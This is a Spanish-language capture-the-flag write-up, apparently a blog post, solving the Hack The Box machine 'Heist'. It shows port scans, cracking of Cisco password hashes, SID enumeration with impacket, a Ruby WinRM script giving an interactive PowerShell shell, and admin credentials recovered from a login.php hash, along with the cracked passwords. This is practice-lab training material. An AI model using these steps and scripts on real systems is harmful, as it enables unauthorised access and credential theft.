Hack The Box - Heist


MASSCAN & NMAP

Escaneo de puertos tcp/udp con masscan y nmap.
root@kali:~/htb/heist# masscan -p1-65535,U:1-65535 10.10.10.149 --rate=1000 -e tun0

Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-08-21 06:23:36 GMT
 -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 49668/tcp on 10.10.10.149                                 
Discovered open port 445/tcp on 10.10.10.149                                   
Discovered open port 135/tcp on 10.10.10.149                                   
Discovered open port 5985/tcp on 10.10.10.149                                  
Discovered open port 80/tcp on 10.10.10.149

# Nmap 7.70 scan initiated Wed Aug 21 02:32:58 2019 as: nmap -sC -sV -p 49668,445,135,5985,80 -o nmap.scan 10.10.10.149
Nmap scan report for 10.10.10.149
Host is up (0.39s latency).

PORT      STATE SERVICE       VERSION
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-server-header: Microsoft-IIS/10.0
| http-title: Support Login Page
|_Requested resource was login.php
135/tcp   open  msrpc         Microsoft Windows RPC
445/tcp   open  microsoft-ds?
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49668/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 32s, deviation: 0s, median: 32s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2019-08-21 02:34:36
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Aug 21 02:34:42 2019 -- 1 IP address (1 host up) scanned in 103.97 seconds

HTTP - PUERTO 80

Al visitar este puerto nos muestra un panel de inicio de sesion de una plataforma.

Iniciamos sesion como invitado (Login as guest) y nos redirige a una nueva pagina issues.php en la cual contiene un chat de un cliente que muestra los errores que tuvo con su router cisco y una lista de errores dentro de un archivo.

Archivo:
version 12.2
no service pad
service password-encryption
!
isdn switch-type basic-5ess
!
hostname ios-1
!
security passwords min-length 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
!
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
!
!
ip ssh authentication-retries 5
ip ssh version 2
!
!
router bgp 100
 synchronization
 bgp log-neighbor-changes
 bgp dampening
 network 192.168.0.0Â mask 300.255.255.0
 timers bgp 3 9
 redistribute connected
!
ip classless
ip route 0.0.0.0 0.0.0.0 192.168.0.1
!
!
access-list 101 permit ip any any
dialer-list 1 protocol ip list 101
!
no ip http server
no ip http secure-server
!
line vty 0 4
 session-timeout 600
 authorization exec SSH
 transport input ssh
Encontramos dentro del archivo usuarios y contraseñas:
$1$pdQG$o8nrSzsGXeaduXrjlvKc91
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
La primera contraseña la crackeamos con hashcat:
stealth1agent:$1$pdQG$o8nrSzsGXeaduXrjlvKc91
Las dos ultimas utilizamos un script que nos devuelve el valor del hash, este hash es de tipo 7 de Cisco:

$uperP@ssword:0242114B0E143F015F5D1E161713
Q4)sJu\Y8qz*A3?d:02375012182C1A1D751618034F36415408

SMBMAP

Ahora que tenemos usuairos y contraseñas intentamos listar sharenames, con el unico usuario con el cual nos dejó fue con el usuario hazard.

IMPACKET - LOOKUPSID

Utilizamos el script lookupsid.py de impacket para poder obtener los usuarios o grupo de usuarios dentro de la maquina.

root@kali:~/htb/heist/evil-winrm# lookupsid.py hazard:stealth1agent@10.10.10.149
Impacket v0.9.20-dev - Copyright 2019 SecureAuth Corporation

[*] Brute forcing SIDs at 10.10.10.149
[*] StringBinding ncacn_np:10.10.10.149[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4254423774-1266059056-3197185112
500: SUPPORTDESK\Administrator (SidTypeUser)
501: SUPPORTDESK\Guest (SidTypeUser)
503: SUPPORTDESK\DefaultAccount (SidTypeUser)
504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
513: SUPPORTDESK\None (SidTypeGroup)
1008: SUPPORTDESK\Hazard (SidTypeUser)
1009: SUPPORTDESK\support (SidTypeUser)
1012: SUPPORTDESK\Chase (SidTypeUser)
1013: SUPPORTDESK\Jason (SidTypeUser)
CREDENCIALES
hazard:stealth1agent
rout3r:$uperP@ssword
admin:Q4)sJu\Y8qz*A3?d
chase:Q4)sJu\Y8qz*A3?d
jason:
support:

WINRM

Dentro de los puertos abiertos que encontramos vemos que winrm (5985) esta abierto, utilizamos las credenciales y usuarios que encontramos para intentar logearnos mediante este puerto.
Utilizamos un script en ruby con la libreria winrm para poder ejecutar comandos:
require 'winrm'

conn = WinRM::Connection.new(
  endpoint: 'http://10.10.10.149:5985/wsman',
  user: 'chase',
  password: 'Q4)sJu\Y8qz*A3?d',
)

command=""

conn.shell(:powershell) do |shell|
    until command == "exit\n" do
        print "PS > "
        command = gets        
        output = shell.run(command) do |stdout, stderr|
            STDOUT.print stdout
            STDERR.print stderr
        end
    end    
    puts "Exiting with code #{output.exitcode}"
end
Podemos ejecutar comandos en la maquina y obtenemos nuestra bandera user.txt.

PRIVILEGE ESCALATION

Estando dentro de la maquina buscamos archivos en los cuales pudiesen haber contraseñas, principalmente los archivos que se utilizan en la plataforma/inicio de sesion de la pagina que contiene la maquina. Encontramos que, dentro del archivo login.php hay una condicion con dos usuarios que pueden logearse: guest y admin.
login.php
<?php
session_start();
if( isset($_REQUEST['login']) && !empty($_REQUEST['login_username']) && !empty($_REQUEST['login_password'])) {
    if( $_REQUEST['login_username'] === 'admin@support.htb' && hash( 'sha256', $_REQUEST['login_password']) === '91c077fb5bcdd1eacf7268c945bc1d1ce2faf9634cba615337adbf0af4db9040') {
        $_SESSION['admin'] = "valid";
        header('Location: issues.php'); 
    }
    else
        header('Location: errorpage.php');
}
else if( isset($_GET['guest']) ) {
    if( $_GET['guest'] === 'true' ) {
        $_SESSION['guest'] = "valid";
        header('Location: issues.php');
    }
}

?>
Utilizamos la paigna de md5decrypt para verificar si existe esta contraseña dentro de la pagina:
admin@support.htb:91c077fb5bcdd1eacf7268c945bc1d1ce2faf9634cba615337adbf0af4db9040
admin@support.htb:4dD!5}x/re8]FBuZ

Verificamos mediante samba que el usuario es administrator y, si este tiene permisos.

Confirmamos que es el usuario y contraseña de administrator, utilizamos nuevamente el script para winrm con las credenciales.

Obtenemos una shell y nuestra bandera root.txt.
Sckullbock. Con la tecnología de Blogger.